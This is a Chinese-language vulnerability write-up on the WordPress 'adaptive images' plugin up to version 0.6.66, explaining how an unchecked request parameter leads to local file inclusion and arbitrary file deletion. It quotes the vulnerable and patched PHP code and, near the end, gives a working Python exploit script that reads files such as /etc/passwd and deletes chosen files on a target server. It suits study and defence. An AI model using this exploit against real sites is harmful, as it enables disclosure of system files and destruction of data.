探究if条件语句引发的两个Web漏洞 – 作者:Neroqi

前言

在编写代码时,常常需要为不同的判断执行不同的动作,if 条件判断语句可以用来实现此功能。然而这么一个再平常不过的条件判断语句,如果使用不当,也可能成为漏洞的产生点。在 WordPress 中有一个使用非常广泛的插件,名为「adaptive images」。该插件可提供自适应图像,以透明的方式调整和优化传送到移动设备的图像,从而显著地减少页面的加载时间。正是因为在使用 if 语句的过程中,没有严格地控制逻辑和流程,所以导致了文件包含漏洞(File Inclusion)和任意文件删除漏洞(Arbitrary File Deletion)的产生。这两个漏洞一旦被黑客利用,将会产生严重的后果,比如系统信息泄露、用户信息泄露以及关键文件被删除等等。在版本号<=0.6.66 的 adaptive images 插件中存在上述漏洞。

实验环境

1. 目标主机:Debian9.6 x6

2. 软件版本:wordpress-5.2.2 

3. 插件版本:adaptive-images.0.6.65

4.XAMPP for Linux 5.6.305.python-2.7.15

漏洞分析

1. 第一段源代码具体如下所示:

    function adaptive_images_script_get_settings () {
        if ( ! isset( $_REQUEST['adaptive-images-settings'] ) ) {
            $current_directory  = dirname( $_SERVER['SCRIPT_FILENAME'] );
            $resolutions    = array( 1024, 600, 480 );
            $landscape      = TRUE;
            $hidpi          = TRUE;
            $wp_content_dir = realpath( $current_directory . '/../../' );
            $wp_content_url = 'http://' . $_SERVER['HTTP_HOST'] . '/wp-content';
            $cache_dir      = "cache/adaptive-images";
            $jpg_quality    = 65;
            $png8           = FALSE;
            $sharpen        = TRUE;
            $watch_cache    = TRUE;
            $browser_cache  = 60*60*24*7;
            $user_settings_file = realpath( $current_directory . '/user-settings.php' );
            if ( file_exists( $user_settings_file ) ) {
                include( 'user-settings.php' );
            }
            
            $request_uri    = parse_url( urldecode( $_SERVER['REQUEST_URI'] ), PHP_URL_PATH );
            $wp_content_url = preg_replace( '/^https?/',  '', $wp_content_url );
            $url            = preg_replace( '/^https?/',  '', adaptive_images_script_get_url() . $request_uri );
            $source_file    = str_ireplace( $wp_content_url, $wp_content_dir, $url );
            
            if ( isset( $_GET['resolution'] ) ) {
                
                $cookie_resolution = $_GET['resolution'];
            } else if ( isset( $_COOKIE['resolution'] ) ) { 
                $cookie_resolution = $_COOKIE['resolution'];
            } else {
                $cookie_resolution = null;
            }
            $client_width  = $resolutions[0];
            $pixel_density = 1;
            if ( ! isset( $cookie_resolution ) || isset( $cookie_resolution ) && ! preg_match( "/^[\d]+[,]+[\d]+[\.]?[\d]*$/", $cookie_resolution ) ) { 
                setcookie( 'resolution', '', time() - 100 );
            } else { 
                $cookie_array = explode( ',', $cookie_resolution );
                if ( count( $cookie_array ) > 0 ) { 
                    $client_width  = intval( $cookie_array[0] );
                }
                if ( $hidpi ) { 
                    if ( count( $cookie_array ) > 1 ) { 
                        $pixel_density = $cookie_array[1];
                    }
                }
            }
            $client_width_scaled = $client_width * $pixel_density;
            $resolution = $resolutions[0];
            foreach ( $resolutions as $breakpoint ) {
                if ( $client_width_scaled <= $breakpoint ) {
                    $resolution = $breakpoint;
                }
            }
            $debug = isset( $_GET['debug'] ) ? $_GET['debug'] : FALSE;
            $_REQUEST['adaptive-images-settings'] = array( 
                'debug'          => $debug,
                'resolutions'    => $resolutions,
                'cache_dir'      => $cache_dir,
                'jpg_quality'    => $jpg_quality,
                'png8'           => $png8,
                'sharpen'        => $sharpen,
                'watch_cache'    => $watch_cache,
                'browser_cache'  => $browser_cache,
                'request_uri'    => $request_uri,
                'source_file'    => $source_file,
                'wp_content'     => $wp_content_dir,
                'client_width'   => $client_width,
                'hidpi'          => $hidpi,
                'pixel_density'  => $pixel_density,
                'resolution'     => $resolution
            );
        }
        return $_REQUEST['adaptive-images-settings'];
}

1.1 函数 adaptive_images_script_get_settings 用于获取脚本的配置参数;

1.2 语句 if ( ! isset( $_REQUEST[‘adaptive-images-settings’] ) ),通过 isset 方法来判断变量$_REQUEST[‘adaptive-images-settings’] ) 是否存在且其值是否为 NULL。如果该变量不存在或者其值为 NULL,那么则根据默认配置来重写并组合它,最后返回变量$_REQUEST[‘adaptive-images-settings’] 的值。

1.3 如果变量$_REQUEST[‘adaptive-images-settings’] ) 存在且其值不为 NULL,那么就直接返回该变量的值。于是问题来了,什么情况下$_REQUEST[‘adaptive-images-settings’] ) 存在且其值不为 NULL?在有人蓄意构造的情况下,该变量一定是存在且其值不为 NULL。通过控制此变量,黑客可以利用这两个漏洞进行恶意攻击。

2. 第二段源代码具体如下所示:

$settings = adaptive_images_script_get_settings();

通过调用函数 adaptive_images_script_get_settings() 来给变量$settings 赋值,这样攻击者蓄意构造的参数就被传导到了全局。

3. 第三段源代码具体如下所示(文件包含漏洞产生):

    if ( ! isset( $_GET['resolution'] ) && ! isset( $_COOKIE['resolution'] ) ) { 
        adaptive_images_script_send_image( $settings['source_file'], $settings['browser_cache'] );
        exit();
}

3.1 调用 adaptive_images_script_send_image 函数,将 source_file 的内容发送给客户端,正常情况下,source_file 的内容是图片文件。

3.2 通过设置参数$settings[‘source_file’](也就是$_REQUEST[‘adaptive-images-settings’][‘source_file’]),攻击者就可以利用文件包含漏洞了。

4. 第四段源代码具体如下所示(任意文件删除漏洞产生):

    $cache_file = $settings['wp_content'] . '/' . $settings['cache_dir'] . '/' . $settings['resolution'] . $settings['request_uri'];
    if ( file_exists( $cache_file ) ) { 
        
        if ( $settings['watch_cache'] ) { 
            adaptive_images_delete_stale_cache_image( $settings['source_file'], $cache_file, $settings['resolution'] );
        }
}

4.1 将$settings 中的各个参数值拼接起来后,赋值给变量$cache_file,此时攻击者构造的参数值也就已经传入变量$cache_file 中。

4.2 然后调用 adaptive_images_delete_stale_cache_image 函数,攻击者就可以利用任意文件删除漏洞来删除相应的文件。

5. 函数 adaptive_images_delete_stale_cache_image 的源代码具体如下所示:

    function adaptive_images_delete_stale_cache_image ( $source_file, $cache_file, $resolution ) {
        if ( file_exists( $cache_file ) ) {
            if ( filemtime( $cache_file ) >= filemtime( $source_file ) ) {
                return $cache_file;
            }
            unlink( $cache_file );
        }
}

如果缓存文件新于源文件,那么函数返回缓存文件;否则,使用 unlink 函数删除缓存文件。这里 $cache_file 和$source_file 都可以特意构造,将想要删除的文件赋值给$cache_file,就可以实现任意文件的删除操作。

漏洞修复

针对版本号<=0.6.66 的插件中存在的这两个漏洞,建议及时将 adaptive images 更新到 0.6.67。在 0.6.67 版本中,问题代码得到了修复,修复后的代码如下:

    global $settings;
    $settings = NULL;
    function adaptive_images_script_get_settings () {
        $current_directory  = dirname( $_SERVER['SCRIPT_FILENAME'] );
        $resolutions    = array( 1024, 600, 480 );
        $landscape      = TRUE;
        $hidpi          = TRUE;
        $wp_content_dir = realpath( $current_directory . '/../../' );
        $wp_content_url = 'http://' . $_SERVER['HTTP_HOST'] . '/wp-content';
        $cache_dir      = "cache/adaptive-images";
        $jpg_quality    = 65;
        $png8           = FALSE;
        $sharpen        = TRUE;
        $watch_cache    = TRUE;
        $browser_cache  = 60*60*24*7;
        $user_settings_file = realpath( $current_directory . '/user-settings.php' );
        if ( file_exists( $user_settings_file ) ) {
            include( 'user-settings.php' );
        }
        
        $request_uri    = parse_url( urldecode( $_SERVER['REQUEST_URI'] ), PHP_URL_PATH );
        $wp_content_url = preg_replace( '/^https?/',  '', $wp_content_url );
        $url            = preg_replace( '/^https?/',  '', adaptive_images_script_get_url() . $request_uri );
        $source_file    = str_ireplace( $wp_content_url, $wp_content_dir, $url );
        
        if ( isset( $_GET['resolution'] ) ) {
            
            $cookie_resolution = $_GET['resolution'];
        } else if ( isset( $_COOKIE['resolution'] ) ) { 
            $cookie_resolution = $_COOKIE['resolution'];
        } else {
            $cookie_resolution = null;
        }
        $client_width  = $resolutions[0];
        $pixel_density = 1;
        if ( ! isset( $cookie_resolution ) || isset( $cookie_resolution ) && ! preg_match( "/^[\d]+[,]+[\d]+[\.]?[\d]*$/", $cookie_resolution ) ) { 
            setcookie( 'resolution', '', time() - 100 );
        } else { 
            $cookie_array = explode( ',', $cookie_resolution );
            if ( count( $cookie_array ) > 0 ) { 
                $client_width  = intval( $cookie_array[0] );
            }
            if ( $hidpi ) { 
                if ( count( $cookie_array ) > 1 ) { 
                    $pixel_density = $cookie_array[1];
                }
            }
        }
        $client_width_scaled = $client_width * $pixel_density;
        $resolution = $resolutions[0];
        foreach ( $resolutions as $breakpoint ) {
            if ( $client_width_scaled <= $breakpoint ) {
                $resolution = $breakpoint;
            }
        }
        $debug = isset( $_GET['debug'] ) ? $_GET['debug'] : FALSE;
        global $settings;
        $settings = array( 
            'debug'          => $debug,
            'resolutions'    => $resolutions,
            'cache_dir'      => $cache_dir,
            'jpg_quality'    => $jpg_quality,
            'png8'           => $png8,
            'sharpen'        => $sharpen,
            'watch_cache'    => $watch_cache,
            'browser_cache'  => $browser_cache,
            'request_uri'    => $request_uri,
            'source_file'    => $source_file,
            'wp_content'     => $wp_content_dir,
            'client_width'   => $client_width,
            'hidpi'          => $hidpi,
            'pixel_density'  => $pixel_density,
            'resolution'     => $resolution
        );
}

这其中的改进主要有以下两点:

第一、删除局部变量$_REQUEST[‘adaptive-images-settings’],改用全局变量$settings,同时删除该函数的返回值;

第二、删除条件判断语句 if ( ! isset( $_REQUEST[‘adaptive-images-settings’] ) ),全局变量$settings 的值需要由函数生成,这样就阻断了通过 URL 蓄意构造参数值的途径,文件包含漏洞和任意文件删除漏洞也就得以修复。

漏洞利用

1. 漏洞利用的 exp 具体如下所示:

#-*- coding:utf-8 -*-
import requests
print "\n[*] Adaptive images <=0.6.66 for WordPress PoC: LFI and arbitrary file deletion By Neroqi"
server_ip = raw_input('输入服务器 IP 地址:')
option = raw_input('文件包含请输入 1,文件删除请输入 2:')
if option == '1':
    source_file1 = raw_input('输入包含路径和文件名:')
    exp1 = requests.get("http://" + server_ip + "/wordpress/wp-content/uploads/2019/10/timg.jpg?adaptive-images-settings[source_file]=" + source_file1)
    print exp1.text
elif option == '2':
    source_file2 = raw_input('输入源文件的路径及文件名:')
    cache_dir = raw_input('输入要删除文件的路径:')
    cache_file = raw_input('输入要删除文件的文件名:')
    requests.get("http://" + server_ip + "/wordpress/wp-content/uploads/2019/10/timg2.jpg?adaptive-images-settings[source_file]=" + source_file2 + "&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=" + cache_dir + "&adaptive-images-settings[request_uri]=" + cache_file + "&adaptive-images-settings[watch_cache]=1")
    exp2 = requests.get("http://" + server_ip + "/wordpress/wp-content/uploads/2019/10/timg2.jpg?adaptive-images-settings[source_file]=" + cache_file)
    print exp2.text
else:
    exit()

2. 首先输入服务器的 IP 地址,然后输入 option 值,当 option 的值为 1 时,exp 对 LFI 漏洞进行利用,这里我们成功地包含了/etc/passwd,结果如下图所示:再次对/proc/version 进行包含,服务器返回了 Linux 的系统版本信息,结果如下图所示:3. 当 option 的值为 2 时,exp 对任意文件删除漏洞进行利用,分别输入源文件的路径及文件名、要删除文件的路径及文件名,这里源文件的路径及文件名输入../../../wp-content/uploads/2019/10/timg2.jpg,要删除文件的路径及文件名分别输入../../.. 和 test.php,文件 timg2.jpg 比 test.php 新。在执行完删除操作之后,使用文件包含去确认是否删除成功,结果如下图所示:

「Original image not found or not available」说明 test.php 已经被成功删除。

总结:

在编码过程中使用条件判断语句时,一定要注意使用规范和代码逻辑,不能够允许终端用户进行越权操作,特殊的文件操作行为要限定特定用户才有权限,比如后台删除文件的操作,必须限制管理员才能操作,否则可能产生漏洞,影响系统安全。

*本文原创作者:Neroqi,本文属于FreeBuf原创奖励计划,未经许可禁止转载

来源:freebuf.com 2019-11-01 08:00:32 by: Neroqi

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论